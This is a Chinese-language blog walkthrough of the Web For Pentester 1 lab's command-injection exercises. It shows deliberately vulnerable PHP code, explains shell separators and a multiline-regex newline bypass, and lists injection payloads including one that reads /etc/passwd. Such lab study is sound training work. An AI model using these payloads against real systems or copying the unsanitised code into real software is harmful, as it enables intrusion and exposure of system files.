• Web For Pentester1


    Example 1

    源码:

    <?php require_once("../header.php"); ?>
    <pre>
    <?php
    system("ping -c 2 ".$_GET['ip']);
    ?>
    </pre>
    <?php require_once("../footer.php"); ?>

    解释:ip 参数无任何过滤,因此可以使用:;|  ||来进行执行恶意命令

    符号说明
    A;B A 不论正确与否都会执行 B 命令
    A&B A 后台运行,A 和 B 同时执行
    A&&B A 执行成功时候才会执行 B 命令
    A|B A 执行的输出结果,作为 B 命令的参数,A 不论正确与否都会执行 B 命令
    A||B A 执行失败后才会执行 B 命令

    payload:

    ip=127.0.0.1|id

    ip=192.1681.1.1||id

    ip=127.0.0.1;id

    Example 2

    源码:

    <?php require_once("../header.php"); ?>
    <pre>
    <?php
    if (!(preg_match('/^d{1,3}.d{1,3}.d{1,3}.d{1,3}$/m', $_GET['ip']))) {
    die("Invalid IP address");
    }
    system("ping -c 2 ".$_GET['ip']);
    ?>
    </pre>
    <?php require_once("../footer.php"); ?>

    解释:

    这一关使用了 preg_match 正则检测我们输入的 ip ,如果 ip 不是 IP 格式的话就直接终止函数运行,但是这里使用了 /m 多行匹配模式,所以我们这里可以使用 %0a 换行

    payload:

    ip=127.0.0.1%0Aid

    ip=127.0.0.1%0Acat%20/etc/passwd

    Example 3

    源码:

    <?php require_once("../header.php"); ?>
    <pre>
    <?php
    if (!(preg_match('/^d{1,3}.d{1,3}.d{1,3}.d{1,3}$/', $_GET['ip']))) {
    header("Location: example3.php?ip=127.0.0.1");
    }
    system("ping -c 2 ".$_GET['ip']);
    ?>
    </pre>
    <?php require_once("../footer.php"); ?>

    解释:

    preg_match 去掉了 /m 多行匹配模式,检测到 ip 不是 IP 地址格式的话,就重定向为:
    /commandexec/example3.php?ip=127.0.0.1
    虽然重定向了,但是实际上代码还是执行了我们的输入,只是重定向后刷新了一下,我们没有看到执行结果:

    payload:

    ip=127.0.0.1;id
    ip=127.0.0.1|id
    ip=233||id

     OVER!

  • 相关阅读:
    HTML元素盒模型
    对git使用的初步总结
    在windows上,使用虚拟机安装苹果操作系统
    C++多例模式下对Instance的使用
    C++中的Inline函数的使用
    gitbash安装与使用
    C++中的Inline函数
    git bash下添加忽略文件列表
    C++数据类型(data type)介绍
    RFID会议签到系统总结(六)――系统配置(下)
  • 原文地址:https://www.cnblogs.com/hack404/p/13194251.html
Copyright © 2020-2023  润新知